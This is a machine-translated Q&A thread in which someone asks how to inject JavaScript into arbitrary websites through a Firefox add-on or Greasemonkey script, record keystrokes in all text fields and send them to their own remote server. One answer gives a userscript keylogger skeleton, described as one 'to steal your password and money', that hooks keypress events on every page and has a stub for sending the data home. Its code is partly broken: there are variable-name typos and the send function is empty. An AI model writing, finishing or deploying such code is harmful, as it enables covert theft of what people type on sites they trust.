2009-08-30 47 views
-3

我正在开发分析用户的键入模式的应用程序。为了实现这一点,我需要更改用户所在网页的HTML(例如yahoo.com) - 对于页面中的所有文本框项目,添加一些JavaScript函数以捕获按键和关键事件。所以,我需要能够添加一个新的JavaScript到这个现有的页面。这些功能将打包数据并将其发送到远程服务器(例如myApp.com)。Firefox插件或greasemonkey脚本插入javascript

我需要帮助:

  1. 插入JavaScript来一个HTML页面
  2. 添加在上面添加到所有textarea元素在网页中
  3. A中的JavaScript中定义的一些功能将数据从上述JavaScript传输到远程服务器(即不是服务于原始页面的服务器)的方法

Firefox插件是最好的bu t Greasemonkey脚本也行...

谢谢!

+9

您为什么需要钥匙记录器? – 2009-08-30 06:03:11

+0

你有什么尝试?你有没有开始建造任何东西?你遇到了哪些具体问题? – 2009-08-30 06:04:34

+0

分析按键和打包数据的javascript已准备就绪。我有一个测试页面,其中包含一个文本框并允许捕获用户输入。我现在需要与其他网页进行整合,并需要帮助才能开始。 – user162916 2009-08-30 06:13:37

回答

0

如果你不介意只在Firefox上运行,那么我建议Mozilla Jetpack

如果你很高兴与jQuery合作,这是一个非常熟悉的环境。

0

这是您需要获取keyup和keydown事件的代码。

// ==UserScript== 
// @name   Log-O-Matic 
// @description A keylogger to steal your password and money ^^ 
// @include  http*://* 
// ==/UserScript== 

var collected_data=""; 
function collect(event){ collected_data+="/"+event.keyCode;} 
function send_home(){ /* use GM_xmlhttprequest here to send collected_data */} 
var textareas = document.getElementsByTagName("textarea"); 
for(i in textareas) { 
    textareas[i].onKeyPress=collect; 
} 
var inputs = document.getElementsByTagName("input"); 
for(i in input) { 
    if(input[i].type!="password")input[i].onKeyPress=collect; 
}